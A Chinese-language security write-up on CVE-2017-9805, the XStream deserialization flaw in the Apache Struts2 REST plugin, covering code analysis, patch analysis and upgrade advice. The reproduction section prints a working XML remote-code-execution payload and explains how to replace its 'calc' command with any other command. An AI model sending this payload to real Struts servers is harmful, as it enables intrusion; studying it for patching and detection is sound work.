1. 漏洞描述
- 漏洞描述:Struts2 REST插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操作時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊。
- 漏洞編號:CVE-2017-9805
- 漏洞作者:lgtm.com的安全研究員
- 影響版本:Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
- 漏洞等級:高危
2. 漏洞簡介
Question | Description |
---|---|
Who should read this | All Struts 2 developers and users |
Impact of vulnerability | A RCE attack is possible when using the Struts REST plugin with XStream handler to deserialise XML requests |
Maximum security rating | Critical |
Recommendation | Upgrade to Struts 2.5.13 or Struts 2.3.34 |
Affected Software | Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 |
Reporter | Man Yue Mo (lgtm.com / Semmle). More information on the lgtm.com blog: https://lgtm.com/blog |
CVE Identifier | CVE-2017-9805 |
3. 漏洞分析
3.1 漏洞說明
本次漏洞觸發點是REST插件在解析請求中的xml文件時,調用了XStreamHandler,傳入的數據會被默認進行反序列化,如果當傳入的xml是個經過XStream序列化的惡意對象時,便造成反序列化漏洞。
3.2 漏洞原理分析
本次漏洞的成因由兩部分組成,一個是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身沒有對進入的數據進行安全檢查,導致攻擊者可以傳入惡意的xml對象可以傳入到XStream裏。另一個是XStream在反序列化傳入的xml造成的遠程代碼執行。
關鍵代碼在org.apache.struts2.rest.ContentTypeInterceptor裏。
public String intercept(ActionInvocation invocation) throws Exception {
HttpServletRequest request = ServletActionContext.getRequest();
ContentTypeHandler handler = selector.getHandlerForRequest(request);
Object target = invocation.getAction();
if (target instanceof ModelDriven) {
target = ((ModelDriven)target).getModel();
}
if (request.getContentLength() > 0) {
InputStream is = request.getInputStream();
InputStreamReader reader = new InputStreamReader(is);
handler.toObject(reader, target);
}
return invocation.invoke();
}
ContentTypeHandler handler = selector.getHandlerForRequest(request); 通過request數據獲取執行方法:org.apache.struts2.rest.handler.XStreamHandler
handler.toObject(reader, target); 對獲取到的序列化的xml數據進行反序列化操作,在這一階段將序列化的惡意POC進行反序列化操作並造成代碼執行。
這裏我們直接斷點打在上文說的兩個地方,用惡意payload進行攻擊。
我們可以看到整個的調用棧,找到斷點處,f5進入斷點邏輯,可以看到在標記處獲取Content-Type的值爲:application/xml。
繼續debug,可以看到根據我們獲取到的content-type值從而得到我們代碼執行的調用棧地址:
指定了我們的處理方法,繼續斷點到handler.toObject(reader, target);處:
f5進去toObject函數方法,繼續執行,在XStreamHanler.toObject調用了XStream的fromXml,從而進入反序列化流程:
繼續執行,看到反序列化函數unmarshal,在這個函數執行時沒有進行數據安全檢查,導致遠程代碼執行。
返回執行結果:
4. 漏洞復現
- 通過網上下載含有struts2-rest-plugin-2.5.12.jar版本的官方環境struts2-rest-showcase-2.5.12.war。
將下載的war包通過eclipse導入到工程中,File—>Import—->war file。
- 需要注意的是,由於javax.imageio的依賴關係,我們的環境的jdk版本需要是jdk8以上,jdk8某些低版本也是不行的,本文作者的版本是jdk8_111,後續的一些驗證都是在這個版本上做的。
啓動工程,然後通過burpsuite進行抓包,然後Send to Reapeater 進行數據包篡改。
主要POC爲:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
注意事項:
- 注意如果數據包請求方式爲GET的話需要修改爲POST請求方式。
- 注意修改Content-Type的值爲:application/xml。
- 該POC爲windows服務器上彈出計算器payload,若想修改爲其他執行payload,將
<string>calc</string>
中的calc替換爲你想執行的命令,空格用多個<string></string>
標籤嵌套。
5. 修復方案
5.1 補丁分析
對struts2-rest-plugin-2.5.12.jar中的struts-plugin.xml進行分析,可以看到XStreamHanler就是Content-Type:xml的默認處理句柄,而且可以看出xml是默認支持格式,這也就是說存在rest插件就會存在XStream的反序列化漏洞。
通過對比官方的補丁,我們可以看到最主要的修復邏輯在plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java中:
在官方的修復方案中,主要就是將xml中的數據白名單化,把Collection和Map,一些基礎類,時間類放在白名單中,這樣就能阻止XStream反序列化的過程中帶入一些有害類。
5.2 修復建議
- Version 2.3.0 to 2.3.33升級到Struts 2.3.34版本
- Version 2.5.0 to 2.5.12升級到Struts 2.5.13版本